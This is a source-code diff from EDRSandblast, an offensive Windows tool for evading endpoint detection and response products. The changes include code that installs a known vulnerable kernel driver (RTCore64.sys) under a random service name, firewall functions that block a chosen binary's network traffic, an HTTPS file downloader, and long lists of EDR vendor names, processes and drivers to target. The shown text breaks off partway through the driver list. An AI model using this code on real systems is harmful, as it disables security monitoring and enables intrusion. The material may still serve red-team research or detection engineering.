#include +#include #include #include #include "DriverOps.h" -BOOL ServiceAddEveryoneAccess(SC_HANDLE serviceHandle) { - BOOL status = FALSE; - DWORD dwSizeNeeded; - PSECURITY_DESCRIPTOR oldSd, newSd; - SECURITY_DESCRIPTOR dummySdForXP; - SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY; - - EXPLICIT_ACCESS ForEveryoneACL = { - SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL, - SET_ACCESS, - NO_INHERITANCE, - {NULL, NO_MULTIPLE_TRUSTEE, TRUSTEE_IS_SID, TRUSTEE_IS_WELL_KNOWN_GROUP, NULL} - }; - - if (!QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, &dummySdForXP, 0, &dwSizeNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) { - oldSd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, dwSizeNeeded); - if (oldSd) { - if (QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) { - if (AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, (PSID*)&ForEveryoneACL.Trustee.ptstrName)) { - - if (BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryoneACL, 0, NULL, oldSd, &dwSizeNeeded, &newSd) == ERROR_SUCCESS) { - status = SetServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, newSd); - LocalFree(newSd); - } - - FreeSid(ForEveryoneACL.Trustee.ptstrName); - } - } - LocalFree(oldSd); - } - } - return status; -} - -DWORD ServiceInstall(PCTSTR serviceName, PCTSTR displayName, PCTSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt) { - SC_HANDLE hSC = NULL, hS = NULL; - - hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE); - if (hSC) { - hS = OpenService(hSC, serviceName, SERVICE_START); - if (hS) { - _tprintf(TEXT("[+] \'%s\' service already registered\n"), serviceName); - } - - else { - if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) { - _tprintf(TEXT("[*] \'%s\' service not present\n"), serviceName); - - hS = CreateService(hSC, serviceName, displayName, READ_CONTROL | WRITE_DAC | SERVICE_START, serviceType, startType, SERVICE_ERROR_NORMAL, binPath, NULL, NULL, NULL, NULL, NULL); - - if (hS) { - _tprintf(TEXT("[+] \'%s\' service successfully registered\n"), serviceName); - if (ServiceAddEveryoneAccess(hS)) { - _tprintf(TEXT("[+] \'%s\' service ACL to everyone\n"), serviceName); - } - else { - _tprintf(TEXT("[!] ServiceAddEveryoneAccess")); - } - } - else { - PRINT_ERROR_AUTO(TEXT("CreateService")); - } - } - else { - PRINT_ERROR_AUTO(TEXT("OpenService")); - } - } - - if (hS) { - if (startIt) { - if (StartService(hS, 0, NULL)) { - _tprintf(TEXT("[+] \'%s\' service started\n"), serviceName); - } - else if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) { - _tprintf(TEXT("[*] \'%s\' service already started\n"), serviceName); - } - else { - PRINT_ERROR_AUTO(TEXT("StartService")); - return GetLastError(); - } - } - CloseServiceHandle(hS); - } - CloseServiceHandle(hSC); - } - - else { - PRINT_ERROR_AUTO(TEXT("OpenSCManager(create)")); - return GetLastError(); - } - return 0x0; -} - -BOOL ServiceGenericControl(PCTSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus) { - BOOL status = FALSE; - SC_HANDLE hSC, hS; - SERVICE_STATUS serviceStatus; - - hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT); - if (hSC) { - hS = OpenService(hSC, serviceName, dwDesiredAccess); - if (hS) { - status = ControlService(hS, dwControl, ptrServiceStatus ? ptrServiceStatus : &serviceStatus); - CloseServiceHandle(hS); - } - CloseServiceHandle(hSC); - } - return status; -} - -BOOL ServiceUninstall(PCTSTR serviceName, DWORD attemptCount) { - - // Used as a stop point for recursive calls to ServiceUninstall. - if (attemptCount > MAX_UNINSTALL_ATTEMPTS) { - _tprintf(TEXT("[!] Reached maximun number of attempts (%i) to uninstall the service \'%s\'\n"), MAX_UNINSTALL_ATTEMPTS, serviceName); - return FALSE; - } - - if (ServiceGenericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, NULL)) { - _tprintf(TEXT("[+] \'%s\' service stopped\n"), serviceName); - } - else if (GetLastError() == ERROR_SERVICE_NOT_ACTIVE) { - _tprintf(TEXT("[*] \'%s\' service not running\n"), serviceName); - } - else if (GetLastError() == ERROR_SERVICE_CANNOT_ACCEPT_CTRL) { - _tprintf(TEXT("[*] \'%s\' service cannot accept control messages at this time, waiting...\n"), serviceName); - Sleep(OP_SLEEP_TIME); - } - else { - PRINT_ERROR_AUTO(TEXT("ServiceUninstall")); - Sleep(OP_SLEEP_TIME); - return ServiceUninstall(serviceName, attemptCount + 1); - } - - SERVICE_STATUS status; - BOOL deleted = FALSE; - SC_HANDLE hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT); - if (hSC) { - SC_HANDLE hS = OpenService(hSC, serviceName, SERVICE_QUERY_STATUS | DELETE); - if (hS) { - if (QueryServiceStatus(hS, &status)) { - if (!(status.dwCurrentState == SERVICE_STOPPED)) { - CloseServiceHandle(hS); - CloseServiceHandle(hSC); - Sleep(OP_SLEEP_TIME); - return ServiceUninstall(serviceName, attemptCount + 1); - } - else { - deleted = DeleteService(hS); - CloseServiceHandle(hS); - } - } - } - CloseServiceHandle(hSC); - } - if (!deleted) { - Sleep(OP_SLEEP_TIME); - return ServiceUninstall(serviceName, attemptCount + 1); - } - return deleted; -} - - +#include "../EDRSandblast.h" +#include "StringUtils.h" +#include "WindowsServiceOps.h" /* ---- Vulnerable Micro-Star MSI Afterburner driver install / uninstall functions. ---- The "RTCore64.sys" (SHA256: 01AA278B07B58DC46C84BD0B1B5C8E9EE4E62EA0BF7A695862444AF32E87F1FD) file must be present in the current directory if --driver is not specified. +--- Vulnerable driver install / uninstall functions. */ -static TCHAR* randString(TCHAR* str, size_t size) { - srand((unsigned int) time(0)); - const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789"; - if (size) { - for (size_t n = 0; n < size; n++) { - int key = rand() % (int)(sizeof charset - 1); - str[n] = charset[key]; - } - str[size] = '\0'; +TCHAR* g_driverServiceName; + +TCHAR* GetDriverServiceName(void) { + if (!g_driverServiceName || _tcslen(g_driverServiceName) == 0) { + g_driverServiceName = allocAndGenerateRandomString(SERVICE_NAME_LENGTH); } - return str; + return g_driverServiceName; } - -TCHAR* serviceName; - -TCHAR* GetServiceName(void) { - if (!serviceName || _tcslen(serviceName) == 0) { - serviceName = calloc(SERVICE_NAME_LENGTH, sizeof(TCHAR)); - randString(serviceName, SERVICE_NAME_LENGTH); +void SetDriverServiceName(_In_z_ TCHAR *newName) { + if (g_driverServiceName) { + free(g_driverServiceName); } - return serviceName; -} + g_driverServiceName = _tcsdup(newName); -void SetServiceName(TCHAR *newName, size_t szNewName) { - if (serviceName) { - free(serviceName); - } - serviceName = (TCHAR*) calloc(szNewName, sizeof(TCHAR)); - - if (!serviceName) { - _tprintf(TEXT("[!] Error while attempting to set the service name.\n")); + if (!g_driverServiceName) { + _putts_or_not(TEXT("[!] Error while attempting to set the service name.")); return; } - - _tcscpy_s(serviceName, szNewName, newName); } BOOL InstallVulnerableDriver(TCHAR* driverPath) { - TCHAR* svcName = GetServiceName(); + TCHAR* svcName = GetDriverServiceName(); DWORD status = ServiceInstall(svcName, svcName, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE); if (status == 0x00000005) { - _tprintf(TEXT("[!] 0x00000005 - Access Denied when attempting to install the driver - Did you run as administrator?\n")); + _putts_or_not(TEXT("[!] 0x00000005 - Access Denied when attempting to install the driver - Did you run as administrator?")); } return status == 0x0; } BOOL UninstallVulnerableDriver(void) { - TCHAR* svcName = GetServiceName(); + TCHAR* svcName = GetDriverServiceName(); BOOL status = ServiceUninstall(svcName, 0); @@ -242,4 +65,53 @@ BOOL UninstallVulnerableDriver(void) { } return status; -} \ No newline at end of file +} + +BOOL IsDriverServiceRunning(LPTSTR driverPath, LPTSTR* serviceName) { + SC_HANDLE hSCM = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ENUMERATE_SERVICE | SC_MANAGER_CONNECT); + BOOL isRunning = FALSE; + if (hSCM) { + DWORD cbBufSize, cbBytesNeeded; + DWORD nbServices; + BOOL bRes = EnumServicesStatusEx(hSCM, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER, SERVICE_STATE_ALL, NULL, 0, &cbBytesNeeded, &nbServices, NULL, NULL); + if (!bRes && GetLastError() == ERROR_MORE_DATA) { + ENUM_SERVICE_STATUS_PROCESS* services = calloc(1, cbBytesNeeded); + if (services){ + cbBufSize = cbBytesNeeded; + bRes = EnumServicesStatusEx(hSCM, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER, SERVICE_STATE_ALL, (LPBYTE)services, cbBufSize, &cbBytesNeeded, &nbServices, NULL, NULL); + if (bRes) { + for (DWORD i = 0; i < nbServices; i++) { + SC_HANDLE hS = OpenService(hSCM, services[i].lpServiceName, SERVICE_QUERY_CONFIG); + if (hS && _tcscmp(services[i].lpServiceName, GetDriverServiceName())) { + bRes = QueryServiceConfig(hS, NULL, 0, &cbBytesNeeded); + if (!bRes && GetLastError() == ERROR_INSUFFICIENT_BUFFER) { + QUERY_SERVICE_CONFIG* serviceConfig = calloc(1, cbBytesNeeded); + if (serviceConfig) { + cbBufSize = cbBytesNeeded; + bRes = QueryServiceConfig(hS, serviceConfig, cbBufSize, &cbBytesNeeded); + if (bRes) { + if (!_tcscmp(PathFindFileName(serviceConfig->lpBinaryPathName), PathFindFileName(driverPath))) { + isRunning = TRUE; + if (serviceName) { + *serviceName = _tcsdup(services[i].lpServiceName); + } + } + } + free(serviceConfig); + } + } + CloseServiceHandle(hS); + } + } + } + free(services); + } + } + CloseServiceHandle(hSCM); + } + else { + PRINT_ERROR_AUTO(TEXT("OpenSCManager(create)")); + return FALSE; + } + return isRunning; +} diff --git a/EDRSandblast/Utils/FileUtils.c b/EDRSandblast/Utils/FileUtils.c new file mode 100644 index 0000000..0ae637d --- /dev/null +++ b/EDRSandblast/Utils/FileUtils.c @@ -0,0 +1,52 @@ +#include + +/* +* Dumps the full content of a single file into a newly allocated buffer +*/ +PBYTE ReadFullFileW(LPCWSTR fileName) { + HANDLE hFile = CreateFileW(fileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile == INVALID_HANDLE_VALUE) { + return NULL; + } + DWORD fileSize = GetFileSize(hFile, NULL); + PBYTE fileContent = malloc(fileSize); + DWORD bytesRead = 0; + if (!ReadFile(hFile, fileContent, fileSize, &bytesRead, NULL) || bytesRead != fileSize) { + free(fileContent); + fileContent = NULL; + } + CloseHandle(hFile); + return fileContent; +} + + +/* +* Checks is a file extists (and is not a directory) +*/ +BOOL FileExistsW(LPCWSTR szPath) +{ + DWORD dwAttrib = GetFileAttributesW(szPath); + + return (dwAttrib != INVALID_FILE_ATTRIBUTES && + !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY)); +} +BOOL FileExistsA(LPCSTR szPath) +{ + DWORD dwAttrib = GetFileAttributesA(szPath); + + return (dwAttrib != INVALID_FILE_ATTRIBUTES && + !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY)); +} + +/* +* Dumps the content of a buffer into a new file +*/ +BOOL WriteFullFileW(LPCWSTR fileName, PBYTE fileContent, SIZE_T fileSize) { + HANDLE hFile = CreateFileW(fileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile == INVALID_HANDLE_VALUE) { + return FALSE; + } + BOOL res = WriteFile(hFile, fileContent, (DWORD)fileSize, NULL, NULL); + CloseHandle(hFile); + return res; +} diff --git a/EDRSandblast/Utils/FileVersion.c b/EDRSandblast/Utils/FileVersion.c index 7a5d03d..63949c7 100644 --- a/EDRSandblast/Utils/FileVersion.c +++ b/EDRSandblast/Utils/FileVersion.c @@ -6,6 +6,8 @@ #include #include +#include "../EDRSandblast.h" + #include "FileVersion.h" void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) { @@ -19,7 +21,7 @@ void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) { LPTSTR verData = (LPTSTR)calloc(verSize, 1); if (!verData) { - _tprintf(TEXT("[!] Couldn't allocate memory to retrieve version data\n")); + _putts_or_not(TEXT("[!] Couldn't allocate memory to retrieve version data")); return; } @@ -31,7 +33,7 @@ void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) { DWORD majorVersion = (verInfo->dwFileVersionLS >> 16) & 0xffff; DWORD minorVersion = (verInfo->dwFileVersionLS >> 0) & 0xffff; _stprintf_s(buffer, bufferLen, TEXT("%ld-%ld"), majorVersion, minorVersion); - // _tprintf(TEXT("File Version: %d.%d\n"), majorVersion, minorVersion); + // _tprintf_or_not(TEXT("File Version: %d.%d\n"), majorVersion, minorVersion); } } } @@ -39,34 +41,3 @@ void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) { free(verData); } } - -void GetNtoskrnlVersion(TCHAR* ntoskrnlVersion) { - // Retrieves the system folder (eg C:\Windows\System32). - TCHAR systemDirectory[MAX_PATH] = { 0 }; - GetSystemDirectory(systemDirectory, _countof(systemDirectory)); - - // Compute ntoskrnl.exe path. - TCHAR ntoskrnlPath[MAX_PATH] = { 0 }; - _tcscat_s(ntoskrnlPath, _countof(ntoskrnlPath), systemDirectory); - _tcscat_s(ntoskrnlPath, _countof(ntoskrnlPath), TEXT("\\ntoskrnl.exe")); - - TCHAR versionBuffer[256] = { 0 }; - GetFileVersion(versionBuffer, _countof(versionBuffer), ntoskrnlPath); - _stprintf_s(ntoskrnlVersion, 256, TEXT("ntoskrnl_%s.exe"), versionBuffer); -} - -void GetWdigestVersion(TCHAR* wdigestVersion) { - // Retrieves the system folder (eg C:\Windows\System32). - TCHAR systemDirectory[MAX_PATH] = { 0 }; - GetSystemDirectory(systemDirectory, _countof(systemDirectory)); - - // Compute ntoskrnl.exe path. - TCHAR wdigestPath[MAX_PATH] = { 0 }; - _tcscat_s(wdigestPath, _countof(wdigestPath), systemDirectory); - _tcscat_s(wdigestPath, _countof(wdigestPath), TEXT("\\wdigest.dll")); - - TCHAR versionBuffer[256] = { 0 }; - GetFileVersion(versionBuffer, _countof(versionBuffer), wdigestPath); - - _stprintf_s(wdigestVersion, 256, TEXT("wdigest_%s.dll"), versionBuffer); -} \ No newline at end of file diff --git a/EDRSandblast/Utils/FirewallOps.cpp b/EDRSandblast/Utils/FirewallOps.cpp new file mode 100644 index 0000000..150d227 --- /dev/null +++ b/EDRSandblast/Utils/FirewallOps.cpp @@ -0,0 +1,222 @@ +extern "C" { +#include "../EDRSandblast.h" +#include "FirewallOps.h" +} + +HRESULT ComInitNetFwPolicy2(INetFwPolicy2** ppNetFwPolicy2) { + HRESULT hrStatus = S_OK; + + hrStatus = CoInitializeEx(0, COINIT_APARTMENTTHREADED); + + // Ignore RPC_E_CHANGED_MODE (Microsoft documentation stating that the existing mode does not matter). + if (hrStatus != RPC_E_CHANGED_MODE && FAILED(hrStatus)) { + _tprintf_or_not(TEXT("[!] Error while initializing COM (CoInitializeEx failed: 0x%08lx)\n"), hrStatus); + return hrStatus; + } + + hrStatus = CoCreateInstance(__uuidof(NetFwPolicy2), NULL, CLSCTX_INPROC_SERVER, __uuidof(INetFwPolicy2), (void**)ppNetFwPolicy2); + if (FAILED(hrStatus)) { + _tprintf_or_not(TEXT("[!] Error while initializing the INetFwPolicy2 interface (CoCreateInstance for INetFwPolicy2 failed: 0x%08lx)\n"), hrStatus); + return hrStatus; + } + + return hrStatus; +} + +extern "C" HRESULT IsFirewallEnabled(BOOL* firewallIsOn); +HRESULT IsFirewallEnabled(BOOL* firewallIsOn) { + HRESULT hrComInit = E_FAIL; + HRESULT hrStatus = S_OK; + + INetFwPolicy2* pNetFwPolicy2 = NULL; + long CurrentProfilesBitMask = 0; + VARIANT_BOOL vbFirewallsEnabled = VARIANT_TRUE; + VARIANT_BOOL vbFirewallProfileEnabled = VARIANT_FALSE; + + struct ProfileMapElement { + NET_FW_PROFILE_TYPE2 Id; + LPCWSTR Name; + }; + + ProfileMapElement ProfileMap[3]; + ProfileMap[0].Id = NET_FW_PROFILE2_DOMAIN; + ProfileMap[0].Name = L"Domain"; + ProfileMap[1].Id = NET_FW_PROFILE2_PRIVATE; + ProfileMap[1].Name = L"Private"; + ProfileMap[2].Id = NET_FW_PROFILE2_PUBLIC; + ProfileMap[2].Name = L"Public"; + + hrComInit = ComInitNetFwPolicy2(&pNetFwPolicy2); + if (FAILED(hrComInit)) { + hrStatus = E_FAIL; + goto cleanup; + } + + hrStatus = pNetFwPolicy2->get_CurrentProfileTypes(&CurrentProfilesBitMask); + if (FAILED(hrStatus)) { + _tprintf_or_not(TEXT("[!] Could not determine Firewall status (failed to get the active Firewall profiles - get_CurrentProfileTypes failed: 0x%08lx)\n"), hrStatus); + goto cleanup; + } + + for (DWORD i = 0; i < 3; i++) { + if (CurrentProfilesBitMask & ProfileMap[i].Id) { + hrStatus = pNetFwPolicy2->get_FirewallEnabled(ProfileMap[i].Id, &vbFirewallProfileEnabled); + if (FAILED(hrStatus)) { + wprintf_or_not(L"[!] Could not determine Firewall status (failed to retrieve FirewallEnabled settings for %s profile - get_FirewallEnabled failed: 0x%08lx)\n", ProfileMap[i].Name, hrStatus); + goto cleanup; + } + if (vbFirewallProfileEnabled == VARIANT_FALSE) { + wprintf_or_not(L"[*] The Windows Firewall is off on the (active) '%s' profile.\n", ProfileMap[i].Name); + vbFirewallsEnabled = VARIANT_FALSE; + } + } + } + + *firewallIsOn = (BOOL)(vbFirewallsEnabled == VARIANT_TRUE); + +cleanup: + if (pNetFwPolicy2) { + pNetFwPolicy2->Release(); + pNetFwPolicy2 = NULL; + } + + if (SUCCEEDED(hrComInit)) { + CoUninitialize(); + } + + return hrStatus; +} + +extern "C" HRESULT CreateFirewallRuleBlockBinary(TCHAR* binaryPath, NET_FW_RULE_DIRECTION direction, TCHAR* ruleName); +HRESULT CreateFirewallRuleBlockBinary(TCHAR* binaryPath, NET_FW_RULE_DIRECTION direction, TCHAR* ruleName) { + HRESULT hrComInit = E_FAIL; + HRESULT hrStatus = S_OK; + + INetFwPolicy2* pNetFwPolicy2 = NULL; + INetFwRules* pFwRules = NULL; + INetFwRule* pFwRule = NULL; + + BSTR bstrRuleName = NULL; + BSTR bstrRuleDescription = NULL; + BSTR bstrRuleApplication = NULL; + + hrComInit = ComInitNetFwPolicy2(&pNetFwPolicy2); + if (FAILED(hrComInit)) { + hrStatus = E_FAIL; + goto cleanup; + } + + // Rules parameters. + generateRandomString(ruleName, FW_RULE_NAME_MAX_LENGTH); + bstrRuleName = SysAllocString(ruleName); + bstrRuleDescription = SysAllocString(ruleName); + bstrRuleApplication = SysAllocString(binaryPath); + + // hrStatus = pNetFwPolicy2->get_Rules(&pFwRules); + hrStatus = pNetFwPolicy2->get_Rules(&pFwRules); + if (FAILED(hrStatus)) { + _tprintf_or_not(TEXT("[!] Could not retrieve current Firewall rules (pNetFwPolicy2->get_Rules failed: 0x%08lx).\n"), hrStatus); + goto cleanup; + } + + // Create a new Firewall Rule object. + hrStatus = CoCreateInstance(__uuidof(NetFwRule), NULL, CLSCTX_INPROC_SERVER, __uuidof(INetFwRule), (void**)&pFwRule); + if (FAILED(hrStatus)) { + _tprintf_or_not(TEXT("[!] Error while attempting to initiate the INetFwRule (CoCreateInstance failed: 0x%08lx).\n"), hrStatus); + goto cleanup; + } + + // Populates the rule's parameters. + pFwRule->put_Name(bstrRuleName); + pFwRule->put_Description(bstrRuleDescription); + pFwRule->put_ApplicationName(bstrRuleApplication); + pFwRule->put_Protocol(NET_FW_IP_PROTOCOL_ANY); + pFwRule->put_Direction(direction); + pFwRule->put_Profiles(FW_PROFILE_TYPE_ALL); + pFwRule->put_Action(NET_FW_ACTION_BLOCK); + pFwRule->put_Enabled(VARIANT_TRUE); + + // Add the new rule. + hrStatus = pFwRules->Add(pFwRule); + if (FAILED(hrStatus)) { + _tprintf_or_not(TEXT("[!] Error while adding the firewall blocking rule for %s (INetFwRule->Add failed: 0x%08lx)\n"), binaryPath, hrStatus); + } + +cleanup: + + if (pFwRule) { + pFwRule->Release(); + } + + if (pFwRules) { + pFwRules->Release(); + } + + if (pNetFwPolicy2) { + pNetFwPolicy2->Release(); + } + + if (bstrRuleName) { + SysFreeString(bstrRuleName); + bstrRuleName = NULL; + } + + if (bstrRuleDescription) { + SysFreeString(bstrRuleDescription); + bstrRuleDescription = NULL; + + } + + if (bstrRuleApplication) { + SysFreeString(bstrRuleApplication); + bstrRuleApplication = NULL; + } + + if (SUCCEEDED(hrComInit)) { + CoUninitialize(); + } + + return hrStatus; +} + +extern "C" HRESULT DeleteFirewallRule(TCHAR* ruleName); +HRESULT DeleteFirewallRule(TCHAR* ruleName) { + HRESULT hrComInit = E_FAIL; + HRESULT hrStatus = S_OK; + + INetFwPolicy2* pNetFwPolicy2 = NULL; + INetFwRules* pFwRules = NULL; + + hrComInit = ComInitNetFwPolicy2(&pNetFwPolicy2); + if (FAILED(hrComInit)) { + hrStatus = E_FAIL; + goto cleanup; + } + + hrStatus = pNetFwPolicy2->get_Rules(&pFwRules); + if (FAILED(hrStatus)) { + _tprintf_or_not(TEXT("[!] Could not retrieve current Firewall rules (pNetFwPolicy2->get_Rules: 0x%08lx).\n"), hrStatus); + goto cleanup; + } + + hrStatus = pFwRules->Remove(ruleName); + if (FAILED(hrStatus)) { + _tprintf_or_not(TEXT("[!] Error while removing Firewall rule \"%s\" (failed with: 0x%08lx)\n"), ruleName, hrStatus); + _tprintf_or_not(TEXT("[!] The rule can be removed manually using: netsh advfirewall firewall delete rule name=%s\n"), ruleName); + } + else { + _tprintf_or_not(TEXT("[+] Successfully removed Firewall rule \"%s\"\n"), ruleName); + } + +cleanup: + + if (pFwRules) { + pFwRules->Release(); + } + + if (SUCCEEDED(hrComInit)) { + pNetFwPolicy2->Release(); + } + + return hrStatus; +} \ No newline at end of file diff --git a/EDRSandblast/Utils/HttpClient.c b/EDRSandblast/Utils/HttpClient.c new file mode 100644 index 0000000..64a34a0 --- /dev/null +++ b/EDRSandblast/Utils/HttpClient.c @@ -0,0 +1,121 @@ +#include +#include +#include +#include +#include + +#include "../EDRSandblast.h" +#include "HttpClient.h" + + +BOOL HttpsDownloadFullFile(LPCWSTR domain, LPCWSTR uri, PBYTE* output, SIZE_T* output_size) { + wprintf_or_not(L"Downloading https://%s%s...\n", domain, uri); + // Get proxy configuration + WINHTTP_CURRENT_USER_IE_PROXY_CONFIG proxyConfig; + WinHttpGetIEProxyConfigForCurrentUser(&proxyConfig); + BOOL proxySet = !(proxyConfig.fAutoDetect || proxyConfig.lpszAutoConfigUrl != NULL); + DWORD proxyAccessType = proxySet ? ((proxyConfig.lpszProxy == NULL) ? + WINHTTP_ACCESS_TYPE_NO_PROXY : WINHTTP_ACCESS_TYPE_NAMED_PROXY) : WINHTTP_ACCESS_TYPE_NO_PROXY; + LPCWSTR proxyName = proxySet ? proxyConfig.lpszProxy : WINHTTP_NO_PROXY_NAME; + LPCWSTR proxyBypass = proxySet ? proxyConfig.lpszProxyBypass : WINHTTP_NO_PROXY_BYPASS; + + // Initialize HTTP session and request + HINTERNET hSession = WinHttpOpen(L"WinHTTP/1.0", proxyAccessType, proxyName, proxyBypass, 0); + if (hSession == NULL) { + printf_or_not("WinHttpOpen failed with error : 0x%x\n", GetLastError()); + return FALSE; + } + HINTERNET hConnect = WinHttpConnect(hSession, domain, INTERNET_DEFAULT_HTTPS_PORT, 0); + if (!hConnect) { + printf_or_not("WinHttpConnect failed with error : 0x%x\n", GetLastError()); + return FALSE; + } + HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", uri, NULL, + WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE); + if (!hRequest) { + return FALSE; + } + + // Configure proxy manually + if (!proxySet) + { + WINHTTP_AUTOPROXY_OPTIONS autoProxyOptions; + autoProxyOptions.dwFlags = proxyConfig.lpszAutoConfigUrl != NULL ? WINHTTP_AUTOPROXY_CONFIG_URL : WINHTTP_AUTOPROXY_AUTO_DETECT; + autoProxyOptions.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A; + autoProxyOptions.fAutoLogonIfChallenged = TRUE; + + if (proxyConfig.lpszAutoConfigUrl != NULL) + autoProxyOptions.lpszAutoConfigUrl = proxyConfig.lpszAutoConfigUrl; + + WCHAR szUrl[MAX_PATH] = { 0 }; + swprintf_s(szUrl, _countof(szUrl), L"https://%ws%ws", domain, uri); + + WINHTTP_PROXY_INFO proxyInfo; + WinHttpGetProxyForUrl( + hSession, + szUrl, + &autoProxyOptions, + &proxyInfo); + + WinHttpSetOption(hRequest, WINHTTP_OPTION_PROXY, &proxyInfo, sizeof(proxyInfo)); + DWORD logonPolicy = WINHTTP_AUTOLOGON_SECURITY_LEVEL_LOW; + WinHttpSetOption(hRequest, WINHTTP_OPTION_AUTOLOGON_POLICY, &logonPolicy, sizeof(logonPolicy)); + } + + // Perform request + BOOL bRequestSent; + do { + bRequestSent = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0); + } while (!bRequestSent && GetLastError() == ERROR_WINHTTP_RESEND_REQUEST); + if (!bRequestSent) { + return FALSE; + } + BOOL bResponseReceived = WinHttpReceiveResponse(hRequest, NULL); + if (!bResponseReceived) { + return FALSE; + } + + // Read response + DWORD dwAvailableSize = 0; + DWORD dwDownloadedSize = 0; + SIZE_T allocatedSize = 4096; + if (!WinHttpQueryDataAvailable(hRequest, &dwAvailableSize)) + { + return FALSE; + } + *output = (PBYTE) malloc(allocatedSize); + *output_size = 0; + while (dwAvailableSize) + { + while (*output_size + dwAvailableSize > allocatedSize) { + allocatedSize *= 2; + PBYTE new_output = (PBYTE)realloc(*output, allocatedSize); + if (new_output == NULL) + { + return FALSE; + } + *output = new_output; + } + if (!WinHttpReadData(hRequest, *output + *output_size, dwAvailableSize, &dwDownloadedSize)) + { + return FALSE; + } + *output_size += dwDownloadedSize; + + WinHttpQueryDataAvailable(hRequest, &dwAvailableSize); + } + PBYTE new_output = (PBYTE)realloc(*output, *output_size); + if (new_output == NULL) + { + return FALSE; + } + *output = new_output; + WinHttpCloseHandle(hRequest); + WinHttpCloseHandle(hConnect); + WinHttpCloseHandle(hSession); + return TRUE; +} + + + + diff --git a/EDRSandblast/Utils/IsEDRChecks.c b/EDRSandblast/Utils/IsEDRChecks.c new file mode 100644 index 0000000..b301825 --- /dev/null +++ b/EDRSandblast/Utils/IsEDRChecks.c @@ -0,0 +1,1773 @@ +#include "../EDRSandblast.h" +#include "IsEDRChecks.h" + +/* +* Primitives to check if a binary or driver belongs to an EDR product. +*/ + +// List of keywords matching EDR companies as employed for binary digitial signatures. +TCHAR const* EDR_SIGNATURE_KEYWORDS[] = { + _T("CarbonBlack"), + _T("CrowdStrike"), + _T("Cylance Smart Antivirus"), + _T("Elastic Endpoint Security"), + _T("FireEye"), + _T("Kaspersky"), + _T("McAfee"), + _T("SentinelOne"), + _T("Symantec") +}; + +// List of binaries belonging to EDR products. +TCHAR const* EDR_BINARIES[] = { + // Microsoft + _T("HealthService.exe"), + _T("MonitoringHost.exe"), + _T("MpCmdRun.exe"), + _T("MsMpEng.exe"), + _T("MsSense.exe"), + _T("SenseCncProxy.exe"), + _T("SenseIR.exe"), + // SentinelOne + _T("LogCollector.exe"), + _T("SentinelAgent.exe"), + _T("SentinelAgentWorker.exe"), + _T("SentinelBrowserNativeHost.exe"), + _T("SentinelHelperService.exe"), + _T("SentinelMemoryScanner.exe"), + _T("SentinelRanger.exe"), + _T("SentinelRemediation.exe"), + _T("SentinelRemoteShellHost.exe"), + _T("SentinelScanFromContextMenu.exe"), + _T("SentinelServiceHost"), + _T("SentinelStaticEngine.exe"), + _T("SentinelStaticEngineScanner.exe"), + _T("SentinelUI.exe"), +}; + +// List of EDR drivers for which Kernel callbacks will be impacted. +// Source: https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/allocated-altitudes +// Includes all FSFilter Anti-Virus and Activity Monitor drivers. +// and : https://github.com/SadProcessor/SomeStuff/blob/master/Invoke-EDRCheck.ps1 +TCHAR const* EDR_DRIVERS[] = { + /* + * FSFilter Anti-Virus - BEGIN + */ + // 360 Software (Beijing) + _T("360qpesv.sys"), + // 5nine Software Inc. + _T("5nine.cbt.sys"), + // Ahkun Co. + _T("AhkSvPro.sys"), + _T("AhkUsbFW.sys"), + _T("AhkAMFlt.sys"), + // Ahnlab + _T("V3MifiNt.sys"), + _T("V3Ift2k.sys"), + _T("V3IftmNt.sys"), + _T("ArfMonNt.sys"), + _T("AhnRghLh.sys"), + 